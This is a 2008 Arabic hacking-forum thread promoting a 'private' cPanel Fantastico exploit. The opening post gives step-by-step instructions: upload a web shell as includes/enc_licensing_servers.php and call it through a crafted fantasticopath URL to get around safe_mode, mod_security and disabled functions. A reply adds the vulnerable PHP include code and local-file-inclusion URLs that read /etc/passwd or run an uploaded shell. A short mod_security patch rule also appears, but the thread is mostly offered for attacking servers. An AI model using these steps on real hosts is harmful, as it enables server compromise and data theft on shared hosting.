[Priv8] تخطي الدوال و mod_security و Safe_Mode بثغرة Fantastico Cpanel Version 11 - عالم المعرفة - Group XP

joker_1 · 09-16-2008, 10:27 PM

[CENTER][B]السلام عليكم شباب

قلت انزل الشرح دا ومعة فيديو مسوية من 3 شهور

مثل ما عودناكم بكل جديد ومثير

اليوم بدنا نكهرب شوية سيرفرات بثغرة تخطي برايفت خاااااااااااااااااص

الصراحة طولت عندنا وقلنا نخلي الشباب يستفيدوا

ندخل علي الشرح

كثير منكم عندة سي بانلات نقدر نقول عقيمة وما تمشي عليها ثغرات تخطي ولا حركات
هتكسس كورن جوب ولا بيرل ولا بايثون ولا تغيير اصدار ولا شي
يبقي يلزمنا ثغرة برااايفت قوية عشان نتخطي ونخلي الحماية مثل ما جات من الشركة
اولا

ندخل السي بانيل عادي جدا

ونشوف هل يوجد فانتسيكو او لا

ثاني شي ندخل علي مجلد اليوزر

/home/user

ونقوم بانشاء مجلد باسم

includes

وبعدها نجيب اي شيل ونسمية

enc_licensing_servers.php

ونرفعة عادي جوة فولدر الانكلودس

يعني مسارة راح يكون كدا

/home/user/includes/enc_licensing_servers.php

بعديها نرجع للسي بانيل عادي ونحط مسارنا كدا

http://xxx::2082/frontend/x/fantasti...ath=/home/user

والنتيجة حيفتح وياك الشيل وحتي لو الدومين مو شغال

وبدون سيف مود شغال

وبدون مود يسكيورتي يخنقك

وبدون دوال

الحماية = 0

اخيرا شرح فيديو للي ما فهم الشرح فوق

الفيديو قديم شوية بس راح تفهمو منة كل شي

http://www.freewebtown.com/alm3refh98/xxx.zip

او

هنا

Special Greetings :- hosam & sniper-sa.com & Group XP & Alm3reFh.Com & Genral kbkb & step on the snow & red trigger & qalbhamad & saudi star & sudani_hacker

وكل حبايبي بالماسنجر

انا حقوقي محفوظة

الرجاء حفظ حقوق الموقع عند النقل

باسورد فك الضغط sniper-sa

تحياتي

اخوكم الجوكر

joker_1 · 09-16-2008, 11:04 PM

والترقيع لاصحاب المواقع عندك كم خيار

ترقية السي بانيل

http://www.alm3refh.com/vb/t10297.html (شرح تحديث السي بنل)

او اضافة رولز بسيط للمود

SecFilterSelective REQUEST_URI "xml.php\?fantasticopath=" deny,log

SecFilterSelective REQUEST_URI "xml\.php\?" deny,log

وطبعا تقدر تسمح الفانتسيكو كلة لو تحب

تحياتي

Qtr Linux · 09-16-2008, 11:16 PM

ابداع X ابداع

لكن

ابي اقول كلمة ومدري لو بتزعل

به واحد ايضاَ مسوي نفس الشرحة
اسمه " سنايبر كود "

حاطه بترياق

يقول ان محد مكتشف الثغرة ,, واحد مجهول اكتشفها
ويقولون انه يمكن واحد

وواحد يقول انك انسبت الثغرة لك

والله انا مدري لكن ,, حبيت اقول لك ان فيه ضجة كبيرة ورا هذي الحركة

وبعطيك رابط الموضوع على الخاص

joker_1 · 09-16-2008, 11:35 PM

هلا اخوي قطر لينيكس

http://www.milw0rm.com/exploits/6461

اما عن الاخ الي بترياق

فعادي يخوي ماهي اول مرة واحد من ترياق يلاقي ثغرة جديدة ولا تخطي جديد نازل
يقول اللله كانت عندي بس نسيت انزلها

او مسروقة مني

بعدين تقدر تسال xp من امتي معانا الثغرة هاي ومن امتي نستعملها

علي الاقل 5 شهور

تحياتي

Dr.the bright boy · 09-17-2008, 02:00 AM

اقتباس:

مثل ما عودناكم بكل جديد ومثير

اليوم بدنا نكهرب شوية سيرفرات بثغرة تخطي برايفت خاااااااااااااااااص

الصراحة طولت عندنا وقلنا نخلي الشباب يستفيدوا

0day هذه ما يحتاج ...

والله لها معاي فترة طويلة .. اللي مكتشفها من زمان عضو من ترياق زميل لي وأرسلها لي لكي أستثمرها ...

لكن كسل مني ووإنشغال ... وإصاباتها قليله

لكن ان كنت اكتشفتها بنفسك فهذا شي رائع جدااا ...

وعندي حركة أخليك تنجن حركة أسمها PHP poison أخليها الثغرة تعطيك شل اكاونت

اقتباس:

به واحد ايضاَ مسوي نفس الشرحة
اسمه " سنايبر كود "

حاطه بترياق

يقول ان محد مكتشف الثغرة ,, واحد مجهول اكتشفها
ويقولون انه يمكن واحد

وواحد يقول انك انسبت الثغرة لك

والله انا مدري لكن ,, حبيت اقول لك ان فيه ضجة كبيرة ورا هذي الحركة

وبعطيك رابط الموضوع على الخاص

في ثغرة بالـ كيرنل 2.6 0day مشهورة استثمرتها بنفسي ولعبت بالدنيا فيها ... طلع مكتشفها الحقيقي هكر ايطالي من فتره ... أنجنيت ( كيف وصل لها )
الامر طبيعي كل ما تتقدم بالهاك كل ما تفهم وتستوعب كل شي على حسب خلفيتك البرمجية
لكن
البعض ما يعرف يبرمج بي اتش بي لكن تلقاه يكتشف ثغرات عد واغلط ( سر المهنه)

نعود ...

المكتشف لها الثغرة الحقيقي معروف ولا ابي اذكر ذلك من أجل لا يكون هناك بعض الاشكاليات .... لكن بما أنه بدأ اكتشاف ثغرات PHP سهل

فتوقع انه ثغرات 0day تكون منتشره بين قروب معين .. وانت بالاصل مكتشفها من زمان

بالنسبه لسنايبر كود عضو في منتديات عدة وهو اشوفه في المعرفه و عرب سيرفس وغيرها

إن كان اجتهاد منه فهذا رائع جدا

اقتباس:

هلا اخوي قطر لينيكس

http://www.milw0rm.com/exploits/6461

اما عن الاخ الي بترياق

فعادي يخوي ماهي اول مرة واحد من ترياق يلاقي ثغرة جديدة ولا تخطي جديد نازل
يقول اللله كانت عندي بس نسيت انزلها

او مسروقة مني

بعدين تقدر تسال xp من امتي معانا الثغرة هاي ومن امتي نستعملها

علي الاقل 5 شهور

تحياتي

جوكر انت لا خلا ولا عدم ... انا شفت امس الثغرة بموقع سكيورتي شهير وقلت في نفسي

طار 0day أخيرا هههههههههه

الامر طبيعي بما انه بدأت الناس تفهم بالبي اتش بي في يوم واحد تحصل واحد اكتشف ثغرة واستثمرها انا اجي مثلا فاهم بالبي اتش بي واطلع ثغرات اكثر وهذا يحصل كثيرا في مواقع السكيورتي

أخيرا

رائع يا جوكر وننتظر 0day أخر

أخوك الفقير إلى الله

أسد المخترقين

هبووب الشمال · 09-17-2008, 05:23 AM

قووآك الله اخوي على الأكتشاافات

وفيه ثغرات كثيره برايفت يقوول انا مكتشف وفيه وأحد ثاني مكتشف بس من اللي ينزلها اول وأحد

وبالتوفيق للجميع

sarab99 · 09-17-2008, 09:45 PM

ذيب ياحوكر انت اللي مكتشف الثغره 100%

لانك انت اول من وضعها واللي يقول انه مكتشفها ولكن محتفظ فيها لنفسه هذي مشكلته هو.

Dr.the bright boy · 09-17-2008, 11:00 PM

نعود من جديد ...

نزل أخواني 020 & cyb3rt نفس فكرة الثغرة بالظبط بس فيه إختلاف قبل تقريبا ثمانية أشهر على

كود:

cPanel 10.x.x  (Fantastico)

http://xx.com:2082/frontend/x/fantastico/includes/load_language.php

كود:


Vulnerable Code ( 1  ) :
 if(is_file($userlanguage))
   {
       include ( $userlanguage );

الإستثمار

http://xx.com:2082/frontend/x/fantastico/includes/load_language.php?userlanguage=/home/user/shell.php

http://xx.com:2082/frontend/x/fantas...ge=/etc/passwd

الثغرة الثانية

http://xx.com:2082/frontend/x/fantastico/includes/mysqlconfig.php

كود:

$localmysqlconfig=$fantasticopath . "/includes/mysqlconfig.local.php";
if (is_file($localmysqlconfig))
       {
       include($localmysqlconfig);

http://xx.com:2082/frontend/x/fantastico/includes/mysqlconfig.php?fantasticopath=/home/user/

المصدر

http://packetstormsecurity.org/0703-...astico-lfi.txt

Dra Alsunna · 09-18-2008, 12:01 AM

تسسسسسسسسسسلم خلني ارفع شل ثم اخترق سيرفر ههههههههههههههههههههههههههههههههههه

Dr.the bright boy · 09-18-2008, 01:29 AM

اقتباس:

قووآك الله اخوي على الأكتشاافات

وفيه ثغرات كثيره برايفت يقوول انا مكتشف وفيه وأحد ثاني مكتشف بس من اللي ينزلها اول وأحد

وبالتوفيق للجميع

كلامك صحيح لكن ها الثغرة سببت إشكاليات عدة ... كثير من ينتسبها لنفسه ..
والبعض ينتقد والبعض ... البعض يقول لماذا الجوكر انتسبها لنفسه

لكن المفترض ( وجهة نظري ) الجوكر ما نزلها مره لانه بها الثغرة بتسبب اشكاليات كثير ..

المشكله مشكلتنا جميعا الهكرز العرب ( متفككين ) حتى ثغرة لم نعرف من هو صاحبها الحقيقي

الله يجمعنا أمين

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق